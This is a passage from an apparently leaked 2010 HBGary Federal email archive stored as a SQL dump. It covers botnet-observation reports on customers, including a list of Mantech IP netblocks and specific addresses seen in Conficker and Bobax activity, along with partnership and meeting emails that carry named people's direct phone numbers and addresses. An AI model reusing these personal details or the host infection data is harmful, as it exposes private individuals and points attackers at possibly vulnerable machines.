PM\r\nTo: Bob Slapnik; Barr Aaron\r\nSubject: Re: Demo with Johns Hopkins Univ Applied Physics Lab\r\n\r\nI\'m starting to think we should run a report for the entire HBGary\r\ncustomer list, it could help get follow-on work or expand existing\r\nwork. Your thoughts?\r\n\r\nThe data is currently free for us. If I had a complete customer list I\r\ncould automate the queries.\r\n\r\nTed\r\n\r\nOn Jun 5, 2010, at 7:09 PM, Bob Slapnik  wrote:\r\n\r\n> Ted,\r\n>\r\n>\r\n>\r\n> I have a demo coming up this week.  Can you get me a list of machines for\r\nthem?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/05/10\r\n14:25:00\r\n\r\n',10058,'aaron_hbgary_com/10058.html'),(7095,'2010-06-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005162.M884360P14101Q1950.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Mantech Results','Aaron, below is a draft email and the complete results from the Mantech scan:\r\n\r\nHBGary and its partners have technology which allows us to passively\r\nenumerate nodes associated with illegal bot-nets.  As we passively\r\ncollect this information it is logged to a database (which is getting\r\nquite massive).  During our testing we did a whois search on\r\nwww.arin.net to identify the IP netblocks associated\r\nwith Mantech, see below list:\r\n\r\n207.53.109.0;207.53.109.255\r\n208.28.38.96;208.28.38.127\r\n206.231.92.192;206.231.92.255\r\n63.165.166.240;63.165.166.247\r\n63.166.109.24;63.166.109.31\r\n65.167.192.0;65.167.192.255\r\n65.220.61.192;65.220.61.223\r\n63.69.65.192;63.69.65.255\r\n12.110.101.112;12.110.101.127\r\n70.168.46.0;70.168.46.255\r\n199.0.56.128;199.0.56.159\r\n204.239.241.0;204.239.241.255\r\n205.245.150.0;205.245.150.255\r\n208.134.245.48;208.134.245.63\r\n198.133.184.0;198.133.184.255\r\n204.249.124.64;204.249.124.127\r\n151.200.163.64;151.200.163.127\r\n207.86.44.64;207.86.44.127\r\n24.214.237.8;24.214.237.15\r\n65.216.190.0;65.216.190.255\r\n63.87.186.0;63.87.186.255\r\n63.116.211.0;63.116.211.255\r\n65.207.63.0;65.207.63.255\r\n64.76.49.8;64.76.49.15\r\n64.76.189.0;64.76.189.7\r\n206.136.164.0;206.136.167.255\r\n208.237.138.0;208.237.138.255\r\n67.62.22.160;67.62.22.191\r\n66.160.76.64;66.160.76.79\r\n99.32.138.224;99.32.138.231\r\n199.72.125.0;199.72.125.255\r\n63.116.103.0;63.116.103.255\r\n70.34.169.24;70.34.169.31\r\n65.206.52.64;65.206.52.95\r\n65.211.45.0;65.211.45.127\r\n208.240.188.0;208.240.188.255\r\n208.238.132.0;208.238.132.255\r\n208.254.221.0;208.254.221.255\r\n208.240.189.0;208.240.189.255\r\n208.238.133.0;208.238.133.255\r\n64.124.210.0;64.124.210.255\r\n99.54.179.96;99.54.179.103\r\n67.65.54.56;67.65.54.63\r\n208.42.233.0;208.42.233.15\r\n72.1.115.112;72.1.115.127\r\n64.92.218.48;64.92.218.63\r\n216.7.172.112;216.7.172.127\r\n72.1.100.32;72.1.100.47\r\n209.190.215.208;209.190.215.223\r\n65.79.226.224;65.79.226.239\r\n66.11.6.112;66.11.6.119\r\n74.94.62.120;74.94.62.127\r\n\r\nWe then queried our database to see if any of these IP addresses have\r\nbeen passively observed in any of the 65 bot-nets that we collect data\r\non and the results are below.  Don\'t put too much weight into the\r\nConfidence value.  We are still working on our confidence algorithm.\r\nAt this point, it basically starts at 100% and then decreases over\r\ntime at different rates, based upon the type of event and the number\r\nof recorded observations.\r\n\r\nAll of these Mantech machines may have already been identified and fixed\r\nby your IT security dept, or they could all still be infected.  We\r\nwould suggest that since it is a pretty small number of hosts,\r\nit would be worthwhile for your security team to at least check out\r\nthese machines to see if they have any current bot-net infections,\r\nespecially the ones that were observed most recently:\r\n\r\nIP : 65.167.192.184\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 17 16:59:00 2009 GMT\r\n\r\nIP : 65.216.190.177\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Sun Aug  9 12:59:00 2009 GMT\r\n\r\nIP : 64.76.189.3\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Sat Sep 19 14:25:43 2009 GMT\r\n\r\nIP : 64.76.189.4\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Wed Oct 14 12:32:39 2009 GMT\r\n\r\nIP : 64.76.189.6\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Sun Sep 20 09:48:11 2009 GMT\r\n\r\nIP : 206.136.165.73\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 08:59:00 2009 GMT\r\n\r\nIP : 208.240.188.80\r\nConfidence : 10%\r\nEvents :\r\n	Bobax : Wed Jul 22 16:59:00 2009 GMT\r\n\r\nIP : 208.240.188.88\r\nConfidence : 10%\r\nEvents :\r\n	Bobax : Wed Jul 22 16:59:00 2009 GMT\r\n\r\nIP : 208.254.221.11\r\nConfidence : 56.574359%\r\nEvents :\r\n	Conficker A/B : Wed Mar 24 15:50:25 2010 GMT\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5224,'aaron_hbgary_com/5224.html'),(7096,'2010-06-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005163.M183201P14101Q1951.eml','\"Barr Aaron\" <aaron@hbgary.com>','Bottle','You left your water bottle here.\r\n',5660,'aaron_hbgary_com/5660.html'),(7097,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005163.M408339P14101Q1952.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pics','Can you cc me when you send Penny the pics?\r\n',9143,'aaron_hbgary_com/9143.html'),(7098,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005163.M690226P14101Q1953.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Bottle','I left a pair of pants at the hotel to.  :(\r\n\r\n From my iPhone\r\n\r\nOn Jun 6, 2010, at 7:16 PM, Ted Vera  wrote:\r\n\r\n> You left your water bottle here.\r\n',2232,'aaron_hbgary_com/2232.html'),(7099,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005163.M897280P14101Q1954.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Bottle','Were they Marks?\r\n\r\n\r\n\r\nOn Jun 6, 2010, at 7:40 PM, Aaron Barr  wrote:\r\n\r\n> I left a pair of pants at the hotel to.  :(\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 6, 2010, at 7:16 PM, Ted Vera  wrote:\r\n>\r\n>> You left your water bottle here.\r\n',13838,'aaron_hbgary_com/13838.html'),(7100,'2010-06-07','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','/aaron@hbgary.com/new/1297005164.M186424P14101Q1955.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NANA','Aaron:\r\n\r\nSorry for the delayed response.  Do you have any time this Friday to meet (... or next Monday or Tuesday)??  I leave next Wednesday for 3 weeks and then won\'t be back until after the July 4th holiday.\r\n\r\nNot much in the way of staffing to discuss, but we can certainly talk capabilities.\r\n\r\nRegards,\r\n\r\nBob Paczynski, CISSP\r\nVice President/Manager, Cyber Analysis & Security Division\r\n \r\nScience Applications International Corporation\r\nIntelligence and Information Solutions Business Unit\r\n6841 Benjamin Franklin Drive\r\nRoom 4031\r\nColumbia, MD  21046 \r\n\r\nTEL:    (443) 367-7684\r\nFAX:    (443) 367-7948\r\nCELL:  (443) 286-0859\r\nEMAIL:  Robert.A.Paczynski@saic.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 01, 2010 11:21 AM\r\nTo: Paczynski, Robert A.\r\nSubject: NANA\r\n\r\nHi Robert,\r\n\r\nI am the CEO of HBGary Federal, the services sister company to HBGary Inc..  We specialize in incident response (malware analysis), threat intelligence, and information operations services.  I was given your contact information from Mike Mulville.  I spoke with Scott Sheldon as well a little while back about NANA.  Unfortunately we came late to the party, we would have very much liked to have been on your team, but we just started the services company in November.  I would like to have a brief conversation with you whenever you are available about our company.  If there are positions you are having a difficult time filling, or for potential future positions we would like to be considered.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2177,'aaron_hbgary_com/2177.html'),(7101,'2010-06-07','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297005164.M406322P14101Q1956.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: COIN Technology','\r\n\r\n\r\n\r\n\r\nFW: COIN Technology\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Turner, Susan A (TASC) On Behalf Of Heider, Raymond A (TASC)\r\nSent: Friday, June 04, 2010 3:14 PM\r\nTo: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC); Rademacher, Michael B (TASC); \'aaron@hbgary.com\'\r\nSubject: COIN Technology\r\nWhen: Tuesday, June 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7346,'aaron_hbgary_com/7346.html'),(7102,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005164.M635144P14101Q1957.eml','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','Re: NANA','Bob,\r\n\r\nSure that would be great.   Are you available in the afternoon?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 7, 2010, at 8:07 AM, \"Paczynski, Robert A.\"\r\n wrote:\r\n\r\n> Aaron:\r\n>\r\n> Sorry for the delayed response.  Do you have any time this Friday to meet (... or next Monday or Tuesday)??  I leave next Wednesday for 3 weeks and then won\'t be back until after the July 4th holiday.\r\n>\r\n> Not much in the way of staffing to discuss, but we can certainly talk capabilities.\r\n>\r\n> Regards,\r\n>\r\n> Bob Paczynski, CISSP\r\n> Vice President/Manager, Cyber Analysis & Security Division\r\n>\r\n> Science Applications International Corporation\r\n> Intelligence and Information Solutions Business Unit\r\n> 6841 Benjamin Franklin Drive\r\n> Room 4031\r\n> Columbia, MD  21046\r\n>\r\n> TEL:    (443) 367-7684\r\n> FAX:    (443) 367-7948\r\n> CELL:  (443) 286-0859\r\n> EMAIL:  Robert.A.Paczynski@saic.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, June 01, 2010 11:21 AM\r\n> To: Paczynski, Robert A.\r\n> Subject: NANA\r\n>\r\n> Hi Robert,\r\n>\r\n> I am the CEO of HBGary Federal, the services sister company to HBGary Inc..  We specialize in incident response (malware analysis), threat intelligence, and information operations services.  I was given your contact information from Mike Mulville.  I spoke with Scott Sheldon as well a little while back about NANA.  Unfortunately we came late to the party, we would have very much liked to have been on your team, but we just started the services company in November.  I would like to have a brief conversation with you whenever you are available about our company.  If there are positions you are having a difficult time filling, or for potential future positions we would like to be considered.\r\n>\r\n> Thank You,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',14253,'aaron_hbgary_com/14253.html'),(7103,'2010-06-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005164.M846844P14101Q1958.eml','\"Bertone, Kurt\" <kurt.bertone@fidelissecurity.com>,\"Benedetti, Gary\" <gary.benedetti@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','resale/referral program discussion with HB Gary','\r\n\r\n\r\n\r\n\r\nresale/referral program discussion with HB Gary\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 08, 2010 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Phone Number: &nbsp;&nbsp; 3018416585, 0139939\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nKurt and Gary to provide review of Fidelis channel, reseller and agent programs to design a program to enable HB Gary Incident Response goals\r\n\r\nFrom the e-mail thread - RE: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\nReseller / leave behind proposal &#8211; I see two different opportunities here, and they aren&#8217;t mutually exclusive.  Kurt leads our Channel Partner program and can provide details on becoming an authorized reseller.  Additionally, since you are primarily targeting federal customers, it may be difficult for HB Gary Federal to sell the solution without access to particular contract vehicles.  We also have a referral agreement program, lead out of our sales organizations.  Gary Benedetti (VP, Sales) can provide the details. I&#8217;d suggest that we schedule a call between the four of us to discuss next steps, as one or more may make sense.  \r\n\r\n\r\n',2806,'aaron_hbgary_com/2806.html'),(7104,'2010-06-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005165.M318295P14101Q1959.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','RE: Enabling HB Gary Incident Response Teams with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI wanted to make sure you and\r\nStacey had connected.  To meet your launch next week, we need to make sure we’ve coordinated any support you\r\nrequire from Fidelis at FIRST (brochures, etc.), as well as web site and press\r\nrelease coordination.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nTo: Sweeney, Stacey \r\nCc: Bertone, Kurt \r\nSent: Mon Jun 07 08:38:18 2010\r\nSubject: RE: Enabling HB Gary Incident Response Teams with Fidelis XPS \r\n\r\n\r\n\r\nStacey,\r\n\r\nHave you and Aaron caught up?&nbsp; If we/they are announcing this next week,\r\nwe need to get moving on the web site and press release items.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Tuesday, May 25, 2010 5:22 PM\r\nTo: \'Aaron Barr\'\r\nCc: Bertone, Kurt; Benedetti, Gary; Kraemer, Gary; Sweeney, Stacey;\r\nMancini, Jerry; Harvey, Kevin\r\nSubject: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks for your time to discuss how we can work together to\r\nintegrate Fidelis XPS in a Scout form factor into your incident response\r\nofferings at HB Gary Federal.&nbsp; I would like to bring some of the broader\r\nFidelis team into the discussion (cc’d on this e-mail), and work on some next\r\nsteps. \r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAgreements – you should have received\r\ncounter-signed partner agreements back from Gary Kramer (CFO).&nbsp; \r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccess to VMs and API guide – with the signed\r\nagreement, you will get a portal account.&nbsp; Kurt Bertone (VP, Strategic\r\nAlliances) will ensure the portal account process gets kicked off.&nbsp; Should\r\nwe issue you the account, or is there a technical lead on your team whose name\r\nwe should put the account it?&nbsp; \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI’d recommend you download and install Fidelis\r\nXPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be almost\r\nidentical in functionality to the Scout platform. \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS CommandPost VM requirements: VMware vSphere, 2 vCPU, 2GB memory, 100GB HDD,\r\n1 vNIC\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS Direct VM requirements:&nbsp; VMware vSphere, 8 vCPU, 16GB memory, 30GB\r\nHDD, 4 vNICs\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe API guide will be included, and covers the\r\nvarying integration scenarios.&nbsp; Kurt and Jerry Mancini (VP,\r\nEngineering) can organize resources to provide technical support on the\r\nAPI.&nbsp; Our file extraction API is changing to make it much easier with our\r\n6.2 release, so it may make sense to schedule a call with Jerry to\r\ndiscuss.&nbsp; I’ve also attached the latest version of my proposed integration\r\nguide in case its useful.&nbsp; \r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTraining – Fidelis will provide a complimentary\r\ntechnical training session either in Bethesda or web-based, depending which is\r\npreferred for the HB Gary Federal team, led by Kevin Harvey (Senior Sales\r\nEngineer), with assistance from Jerry on the API.&nbsp; &nbsp;There is also\r\na chance that Kevin may be in Colorado Springs, so we may be able to have that\r\nas the location.&nbsp; Getting dates confirmed quickly will be important\r\nto meet the aggressive launch date.\r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketing Launch – Stacey Sweeney (VP,\r\nMarketing) will lead this from the Fidelis side. &nbsp;I’ve discussed\r\nsupporting FIRST in mid-June, so we’d need to move quickly.&nbsp; We’d like to\r\nget HB Gary featured on our partner web site with a description of the incident\r\nresponse offerings, and would also be interested in a joint press\r\nrelease.&nbsp; We also likely could provide some collateral on our products for\r\nthe event.&nbsp; \r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProcuring a Scout – As we discussed, we are very\r\nexcited about the Scout driving incident response opportunities.&nbsp; In order\r\nto best determine how this business model will work, we propose that we make\r\navailable a Scout at an aggressive discount with a 3-6 month license\r\nincluded.&nbsp; At the end of the included license period, we get together and\r\nmutually review the results and determine how best to license the system moving\r\nforward.&nbsp; Given your reseller / leave behind proposal interests, I think\r\nthere could be a lot of potentially models. As I mentioned, we have the ability\r\nto be very aggressive on the Scout 1 cu ft form factor, as we are transitioning\r\nto a laptop-based model.&nbsp; Kurt, Gary and I will lead this process\r\nfrom Fidelis.&nbsp; \r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReseller / leave behind proposal – I see two\r\ndifferent opportunities here, and they aren’t mutually exclusive.&nbsp; Kurt\r\nleads our Channel Partner program and can provide details on becoming an\r\nauthorized reseller.&nbsp; Additionally, since you are primarily targeting\r\nfederal customers, it may be difficult for HB Gary Federal to sell the solution\r\nwithout access to particular contract vehicles.&nbsp; We also have a referral\r\nagreement program, lead out of our sales organizations.&nbsp; Gary Benedetti\r\n(VP, Sales) can provide the details. I’d suggest that we schedule a call\r\nbetween the four of us to discuss next steps, as one or more may make\r\nsense.&nbsp; Aaron – can you provide a few times you have available in\r\nthe next week?&nbsp; \r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n“Go to market plan” – we like to put together a\r\nvery simple document so that we understand the goals and objectives of the\r\npartnership.&nbsp; This shouldn’t be more than 2 pages, covering roadmap and\r\nrules of engagement document so we know how to engage in the field.&nbsp;\r\nGary Benedetti and I can help on the Fidelis side.&nbsp; We’ll start the\r\ntemplate and provide it to you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe are excited about this offering and look forward to\r\nhelping launch it!\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416 East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3767,'aaron_hbgary_com/3767.html'),(7105,'2010-06-07','\"Modi, Hardik\" <hardik.modi@fidelissecurity.com>','/aaron@hbgary.com/new/1297005165.M615142P14101Q1960.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Etue, David\" <david.etue@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n&nbsp;\r\n\r\nThe standard Fidelis Enterprise Setup Guide (https://dlcenter.fidelissecurity.com/getfile.php?f=Documentation/6.1/FidelisEnterpriseSetup_61.pdf)\r\nhas relevant information on Virtual Appliance installation and operation. The\r\nrelevant chapters in the Guide are 1,2 and 3.\r\n\r\n&nbsp;\r\n\r\nIf your team has any questions regarding the appliances (virtual\r\nor hardware), I&#8217;m on the Fidelis Support list and manage the relevant Answers\r\nsection on our portal. My direct contact information is below.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nHardik.\r\n\r\n&nbsp;\r\n\r\n-------------------------------------------\r\n\r\nHardik Modi \r\n\r\nManager, Hardware and Release\r\n\r\n&nbsp;\r\n\r\nFidelis Security Systems, Inc.\r\n\r\n4416 East West Highway, Ste 310\r\n\r\nBethesda, MD 20814\r\n\r\n&nbsp;\r\n\r\nEmail: hardik.modi@fidelissecurity.com\r\n\r\nPhone: +1 301 841 6563\r\n\r\n-------------------------------------------\r\n\r\n&nbsp;\r\n\r\nThis email and any attachments thereto may contain private, confidential\r\nand/or privileged material for the sole use of the intended recipient. Any\r\nreview, copying or distribution of this email (or any attachments thereto) by\r\nothers is strictly prohibited. If you are not the intended recipient, please\r\nnotify the sender immediately and permanently delete the original and any\r\ncopies of this email and any attachments thereto.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Friday, June 04, 2010 11:44 AM\r\nTo: Aaron Barr\r\nCc: Harvey, Kevin; Modi, Hardik; Mancini, Jerry\r\nSubject: RE: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThere should be Quick Start guides and documentation on the\r\nportal too.&nbsp; Also cc&#8217;ing Jerry and Hardik Modi, who is the engineer\r\nwho oversees our appliances and has a lot of experience with the virt product\r\ndeployments.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, June 04, 2010 11:32 AM\r\nTo: Etue, David\r\nCc: Harvey, Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs there anything that would be helpful in the installation\r\nside as well?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep &#8211; we should connect them with Kevin Harvey\r\n(cc&#8217;d), who will coordinate the training.&nbsp;&nbsp;Understanding our policy components\r\nand structure is key to success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03,\r\n2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing.\r\n&nbsp;Should we have a conversation and potential demo of these capabilities\r\nfor the folks out here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',40,'aaron_hbgary_com/40.html'),(7106,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005165.M890016P14101Q1961.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: DuPont','Info for Fidelis set up.AaronBegin forwarded message:From: \"Modi, Hardik\" &lt;hardik.modi@fidelissecurity.com&gt;Date: June 7, 2010 8:58:23 AM EDTTo: \"Etue, David\" &lt;david.etue@fidelissecurity.com&gt;, \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Harvey, Kevin\" &lt;kevin.harvey@fidelissecurity.com&gt;, \"Mancini, Jerry\" &lt;jerry.mancini@fidelissecurity.com&gt;Subject: RE: DuPontHello Aaron,&nbsp;The standard Fidelis Enterprise Setup Guide (https://dlcenter.fidelissecurity.com/getfile.php?f=Documentation/6.1/FidelisEnterpriseSetup_61.pdf) has relevant information on Virtual Appliance installation and operation. The relevant chapters in the Guide are 1,2 and 3.&nbsp;If your team has any questions regarding the appliances (virtual or hardware), I’m on the Fidelis Support list and manage the relevant Answers section on our portal. My direct contact information is below.&nbsp;Regards,Hardik.&nbsp;-------------------------------------------Hardik ModiManager, Hardware and Release&nbsp;Fidelis Security Systems, Inc.4416 East West Highway, Ste 310Bethesda, MD 20814&nbsp;Email:&nbsp;hardik.modi@fidelissecurity.comPhone: +1 301 841 6563-------------------------------------------&nbsp;This email and any attachments thereto may contain private, confidential and/or privileged material for the sole use of the intended recipient. Any review, copying or distribution of this email (or any attachments thereto) by others is strictly prohibited. If you are not the intended recipient, please notify the sender immediately and permanently delete the original and any copies of this email and any attachments thereto.&nbsp;&nbsp;&nbsp;From:&nbsp;Etue, David&nbsp;Sent:&nbsp;Friday, June 04, 2010 11:44 AMTo:&nbsp;Aaron BarrCc:&nbsp;Harvey, Kevin; Modi, Hardik; Mancini, JerrySubject:&nbsp;RE: DuPont&nbsp;There should be Quick Start guides and documentation on the portal too.&nbsp; Also 